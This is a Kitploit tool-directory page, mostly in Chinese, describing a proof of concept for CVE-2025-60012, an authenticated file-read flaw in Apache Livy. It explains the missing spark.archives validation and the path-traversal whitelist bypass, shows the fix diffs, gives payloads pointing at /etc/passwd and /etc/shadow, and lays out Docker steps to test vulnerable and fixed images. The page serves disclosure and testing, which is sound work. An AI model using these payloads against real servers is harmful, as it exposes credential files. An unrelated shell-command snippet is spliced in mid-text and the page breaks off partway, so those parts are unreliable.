Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-60012-POC — Apache Livy 未授权文件访问漏洞的 POC | Kitploit
工具/GitHubGitHub/sid6224/cve-2025-60012-poc
漏洞分析漏洞利用Web应用程序漏洞利用云安全学习与教育实验室与实践
GitHubsid6224/cve-2025-60012-poc

CVE-2025-60012-POC

Apache Livy 未授权文件访问漏洞的 POC

查看仓库
56个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

仅供教育和安全研究目的使用。请勿针对非您拥有或未获得明确书面许可的系统进行测试。→ 完整免责声明

CVE-2025-60012 — Apache Livy 未授权文件访问

CVE Livy Severity CWE Type License Platform Language

概述

字段详情
CVE IDCVE-2025-60012
严重性中等 (CVSS 6.3)
受影响版本Apache Livy 0.7.0-incubating, 0.8.0-incubating — 当连接到 Apache Spark 3.1 或更高版本时
修复版本Apache Livy 0.9.0-incubating
CWECWE-20: 输入验证不恰当
披露日期2026-03-13
报告者Furue Hideyuki

漏洞描述

拥有 Livy REST 或 JDBC 接口访问权限的认证用户可以提交带有精心构造的配置值的 Spark 会话或批处理作业。两个弱点共同作用,允许攻击者引用其允许路径之外的本机文件系统文件:

  1. 缺少对 spark.archives 的验证 — Spark 3.1 引入了 spark.archives 作为一种在所有集群管理器中分发归档文件的统一方式。Livy 0.8.0 中硬编码的经过路径验证的配置键列表(HARDCODED_SPARK_FILE_LISTS)不包含 spark.archives。通过此键传递的路径因此从未针对本地文件系统白名单(livy.file.local-dir-whitelist)进行检查,从而允许攻击者引用任何本地文件。

  2. 白名单检查中的路径遍历绕过 — 即使对于确实经过验证的配置键,Livy 0.8.0 中的白名单比较也对原始路径使用普通的 Java String startsWith 调用。攻击者可以通过路径遍历绕过此检查:/whitelisted/dir/../../etc/passwd 通过字符串检查,但解析到允许的目录之外。

受影响的源文件

文件1 — LivyConf.scala

受影响版本 (v0.8.0): https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/LivyConf.scala

修复版本 (v0.9.0): https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/LivyConf.scala

文件2 — Session.scala

受影响版本 (v0.8.0): https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala

修复版本 (v0.9.0): https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala

源代码 — 克隆命令

两个版本均直接从官方 Apache Livy GitHub 仓库克隆到当前工作区,使用以下确切命令:

仓库: https://github.com/apache/incubator-livy```bash

Vulnerable version — cloned into ./livy-0.8.0/

git clone --depth=1 --branch v0.8.0-incubating
https://github.com/apache/incubator-livy
livy-0.8.0

Fixed version — cloned into ./livy-0.9.0/

git clone --depth=1 --branch v0.9.0-incubating
https://github.com/apache/incubator-livy
livy-0.9.0

| 版本 | 标签 | 已解析提交 | 本地路径 |
|---------|-----|-----------------|------------|
| 0.8.0-incubating | `v0.8.0-incubating` | `78b512658e4baf1183f2b352203ada1928d8111a` | `./livy-0.8.0/` |
| 0.9.0-incubating | `v0.9.0-incubating` | `7215f209b25b96488189567807eaded00953a492` | `./livy-0.9.0/` |

## 精确代码差异

差异通过克隆两个标签的本地仓库(见上表)并运行:```bash
diff -u livy-0.8.0/server/src/main/scala/org/apache/livy/LivyConf.scala \
         livy-0.9.0/server/src/main/scala/org/apache/livy/LivyConf.scala

diff -u livy-0.8.0/server/src/main/scala/org/apache/livy/sessions/Session.scala \
         livy-0.9.0/server/src/main/scala/org/apache/livy/sessions/Session.scala

Fix 1 — LivyConf.scala: spark.archives added to hardcoded file list```diff

private val HARDCODED_SPARK_FILE_LISTS = Seq( SPARK_JARS, SPARK_FILES, SPARK_ARCHIVES, SPARK_PY_FILES,

  • "spark.archives", // <-- ADDED in v0.9.0 (Spark 3.1+ config key) "spark.yarn.archive", "spark.yarn.dist.files", "spark.yarn.dist.jars", "spark.yarn.jar", "spark.yarn.jars" )
**v0.8.0 中缺失条目的影响:**
当用户提交一个会话,其中包含 `conf: {"spark.archives": "file:///etc/passwd"}` 时,Livy 0.8.0 永远不会对该值调用 `resolveURIs()`,也永远不会根据 `livy.file.local-dir-whitelist` 进行检查。该路径未经验证就被转发给 Spark。

---

### 修复 2 — `Session.scala`:在白名单检查之前进行路径规范化```diff
   def resolveURI(uri: URI, livyConf: LivyConf): URI = {
     ...
     if (resolved.getScheme() == "file") {
-      require(livyConf.localFsWhitelist.find(resolved.getPath().startsWith).isDefined,
+      require(livyConf.localFsWhitelist.find(
+        Paths.get(resolved.getPath()).normalize.startsWith).isDefined,
         s"Local path ${uri.getPath()} cannot be added to user sessions.")
     }
   }

影响(v0.8.0): 原始字符串 startsWith 检查可能通过路径遍历载荷绕过。

示例:如果 `livy.file.local-dir-whitelist = /opt/safe-data```` /opt/safe-data/../../../etc/passwd

- v0.8.0: `"/opt/safe-data/../../../etc/passwd".startsWith("/opt/safe-data")` → **true** (已绕过)
- v0.9.0: `Paths.get("/opt/safe-data/../../../etc/passwd").normalize` → `/etc/passwd`
          `/etc/passwd`.startsWith(`/opt/safe-data`) → **false** (已阻止)

## 攻击向量总结```
Attacker (authenticated REST/JDBC user)
    │
    ▼
POST /sessions  (or /batches)
{
  "conf": {
    "spark.archives": "file:///etc/shadow"        ← Attack 1: unvalidated Spark 3.1 key
    "spark.jars": "file:///safe/../etc/shadow"    ← Attack 2: path traversal bypass
  }
}
    │
    ▼
Livy 0.8.0 — validation skipped / bypassed
    │
    ▼
Spark reads the file and distributes it to executors
    │
    ▼
Attacker retrieves file contents via job output / logs

测试环境

本 PoC 中的所有步骤均在以下系统上执行并验证:

组件详情
主机操作系统Ubuntu 24.04.4 LTS (Noble Numbat)
内核6.17.0-14-generic x86_64
架构x86_64
总内存15.49 GiB
Docker 引擎28.2.2
主机 JDKOpenJDK 17.0.18(仅主机使用 — 容器使用 eclipse-temurin:11-jdk-focal)
容器基础镜像eclipse-temurin:11-jdk-focal(JDK 11,Ubuntu Focal)
Spark 版本(两个镜像)3.1.3 with Hadoop 3.2
Livy 版本 — 存在漏洞的镜像0.8.0-incubating(Scala 2.12 构建)
Livy 版本 — 已修复的镜像0.9.0-incubating(Scala 2.12 构建)

仓库结构```

. ├── LICENSE ├── README.md ├── docker/ │ ├── fixed/ │ │ ├── Dockerfile │ │ └── livy.conf │ └── vulnerable/ │ ├── Dockerfile │ └── livy.conf ├── livy-0.8.0/ ← Apache Livy 0.8.0-incubating source ├── livy-0.9.0/ ← Apache Livy 0.9.0-incubating source └── test/ └── validate.sh

---

## 概念验证

### 概述```
docker/vulnerable/   →  image: cve-2025-60012-vulnerable   (Livy 0.8.0 + Spark 3.1.3)
docker/fixed/        →  image: cve-2025-60012-fixed         (Livy 0.9.0 + Spark 3.1.3)
test/validate.sh     →  single script, run unchanged against both environments

完整端到端序列——按顺序执行步骤1到4:``` Step 1: Build vulnerable image → start container → verify Livy is up Step 2: Run validate.sh → confirm VULNERABLE (both attacks HTTP 201) → stop container Step 3: Build fixed image → start container → verify Livy is up Step 4: Run validate.sh → confirm FIXED (both attacks HTTP 400) → stop container

> **注意:** Livy 在 `docker run` 后大约需要 15–20 秒才能就绪。
> 以下所有步骤均包含在执行 API 调用前显式添加的 `sleep 20`。

---

### 步骤 1 — 构建并启动脆弱环境 (Livy 0.8.0 + Spark 3.1.3)

**文件:**
- `docker/vulnerable/Dockerfile` — eclipse-temurin:11-jdk-focal、Spark 3.1.3、Livy 0.8.0-incubating
- `docker/vulnerable/livy.conf`  — 绑定在 `0.0.0.0:8998`、本地模式、白名单 = `/opt/safe-data`

**1a. 构建镜像:**```bash
docker build -t cve-2025-60012-vulnerable docker/vulnerable/

验证 — 镜像已创建:```bash docker images cve-2025-60012-vulnerable

**`find`**:在目录层次结构中搜索文件。
`find /path -name "*.txt"`
**`grep`**:在文件中搜索文本模式。
`grep "pattern" file.txt`
**`man`**:显示系统手册页。
`man ls`
**`apropos`**:搜索手册页名称和描述。
`apropos editor````
REPOSITORY                    TAG       IMAGE ID       CREATED         SIZE
cve-2025-60012-vulnerable     latest    <id>           <time>          <size>

启动容器:```bash docker run -d --name livy-vulnerable -p 8998:8998 cve-2025-60012-vulnerable

**验证 — 容器正在运行:**```bash
docker ps --filter name=livy-vulnerable

(没有内容可供翻译。)``` CONTAINER ID IMAGE COMMAND STATUS PORTS cve-2025-60012-vulnerable "livy-server" Up X seconds 0.0.0.0:8998->8998/tcp

---

**等待 Livy 启动,然后验证 REST API:**
下载工具